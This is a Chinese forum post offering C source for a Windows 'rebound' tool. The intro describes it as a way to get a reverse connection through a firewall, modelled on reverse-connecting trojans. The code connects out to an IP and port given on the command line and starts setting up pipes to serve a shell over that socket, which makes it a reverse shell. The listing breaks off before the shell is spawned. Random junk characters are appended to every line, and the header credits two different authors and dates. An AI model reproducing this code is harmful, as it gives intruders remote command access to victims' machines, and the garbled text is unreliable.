这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 #2:?N8vz*
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/* ============================== qp#Euq6
Rebound port in Windows NT hJSWh5]
By wind,2006/7 5rCJIl.
===============================*/ (4yXr|to}
#include ZU.E}Rn:
#include {}iS5[H]
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#pragma comment(lib,"wsock32.lib") q+<,FdG
qxHn+O!h
void OutputShell(); jTV4iX
SOCKET sClient; ;pOV; q3j
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; "-MB U
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void main(int argc,char **argv) L>E{~yh
{ `v<S
WSADATA stWsaData; P_8!Gp
int nRet; w\N\J^5,Q
SOCKADDR_IN stSaiClient,stSaiServer; |*h{GX.(
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if(argc != 3) >t'A1`W
{ V:P]Ved
printf("Useage:\n\rRebound DestIP DestPort\n"); ?Ov~\[) F
return; 52Dgul
} h<$%y(lP
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WSAStartup(MAKEWORD(2,2),&stWsaData); 0o6o<ggi
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); h4hp5M
@]2aPs} }6
stSaiClient.sin_family = AF_INET; ycOnPTh
stSaiClient.sin_port = htons(0); xSlgq|8
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); !^0vi3I
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) g=qaq
{ ;XjXv'
printf("Bind Socket Failed!\n"); 5P\A++22Y
return; > mJ`904L
} P,WQN[(+
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stSaiServer.sin_family = AF_INET; >py[g0J
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); [cznhIvyO
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 0nB[Udk?
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ,1~zMzw ^
{ v+79#qWK|n
printf("Connect Error!"); ]$^HGmP
return; ;E.f%
} qR?}i,_
OutputShell(); l;R8"L:,p\
} y3QS!3I
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void OutputShell() a'Zw^g
{ ~$j;@4
char szBuff[1024]; .q4$)8[Pg
SECURITY_ATTRIBUTES stSecurityAttributes; 5ZH3}B^L$
OSVERSIONINFO stOsversionInfo; 3k(tv U+eC
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; $9r4MMs{$
STARTUPINFO stStartupInfo; >b5 ;I1o=y
char *szShell; PN<VqtW
PROCESS_INFORMATION stProcessInformation; $Zw+"AA
unsigned long lBytesRead; XIZN9/;
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); UHU ,zgM
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); (&r`
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stSecurityAttributes.lpSecurityDescriptor = 0; =2NrmwWZs
stSecurityAttributes.bInheritHandle = TRUE; Zby3.=.e
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); FeO1%#2<y
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); &y